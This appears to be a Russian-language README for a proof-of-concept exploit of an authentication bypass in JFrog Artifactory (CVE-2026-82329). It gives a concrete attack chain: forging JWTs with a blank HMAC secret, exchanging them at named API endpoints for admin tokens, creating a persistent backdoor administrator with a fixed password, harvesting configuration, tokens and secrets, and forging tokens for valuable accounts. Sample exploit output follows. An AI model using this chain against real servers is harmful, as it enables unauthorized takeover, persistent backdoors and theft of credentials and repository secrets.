
Эксплойт PoC для CVE-2026-82329 — обход аутентификации в JFrog Artifactory. Демонстрирует подделку JWT-токенов для получения доступа администратора и создания постоянного пользователя-бэкдора.
CVE-2026-82329 — Обход аутентификации в JFrog Artifactory
Уязвимость
Критический обход аутентификации в JFrog Artifactory (версии 7.111.20, 7.117.27, 7.125.19, 7.133.28, 7.146.37, 7.161.19). Недостаток позволяет неаутентифицированному атакующему подделать JWT, используя пустой HMAC-секрет (32 байта 0x20), выпустить токен администратора и создать пользователя с бэкдором.
Цепочка эксплуатации
Шаг Действие 1 Подделка JWT с alg=HS256, kid=SHA256(""), skip_node_registration=true 2 Отправка JWT на /access/api/v1/registry/join → получение токена SERVICE 3 Обмен токена SERVICE на токен ADMIN через /access/api/v1/tokens 4 Проверка доступа администратора через /artifactory/api/system/configuration, /access/api/v1/tokens, /artifactory/api/system/version 5 Создание постоянного пользователя-администратора через /artifactory/api/security/users/{user} 6 Сбор данных: конфигурация, токены, пользователи, репозитории, секреты 7 Подделка токенов для ценных субъектов
Вектор атаки
BLANK_SECRET = b"\x20" * 32
↓
Подделка JWT (HS256, kid=hashlib.sha256(""))
↓
POST /access/api/v1/registry/join
↓
Токен SERVICE (scp=admin)
↓
POST /access/api/v1/tokens
↓
Токен ADMIN (scp=applied-permissions/admin, aud=*)
↓
Подтверждение прав администратора (GET /artifactory/api/system/configuration → 200)
↓
PUT /artifactory/api/security/users/0xTerror
↓
Постоянный пользователь-администратор: 0xTerror:Terrorp0c!7777
↓
Сбор данных: конфигурация, токены, пользователи, репозитории, секреты
↓
Проверка смежных систем: Xray, Mission Control, Distribution и др.
↓
Подделка токенов для ценных субъектов
Пример вывода PoC
[+] Шаг 1 /registry/join -> HTTP 201 токен SERVICE (scp=admin)
[+] Шаг 2 /access/api/v1/tokens -> HTTP 200 токен ADMIN (scp=applied-permissions/admin)
[+] Шаг 3 подтверждение прав администратора: config=200, tokens=200, version=200
[+] Шаг 4 создание пользователя-администратора '0xTerror' -> HTTP 201
[=] УЯЗВИМО — неаутентифицированный атакующий получил права ADMIN
Пользователь-администратор: 0xTerror:Terrorp0c!7777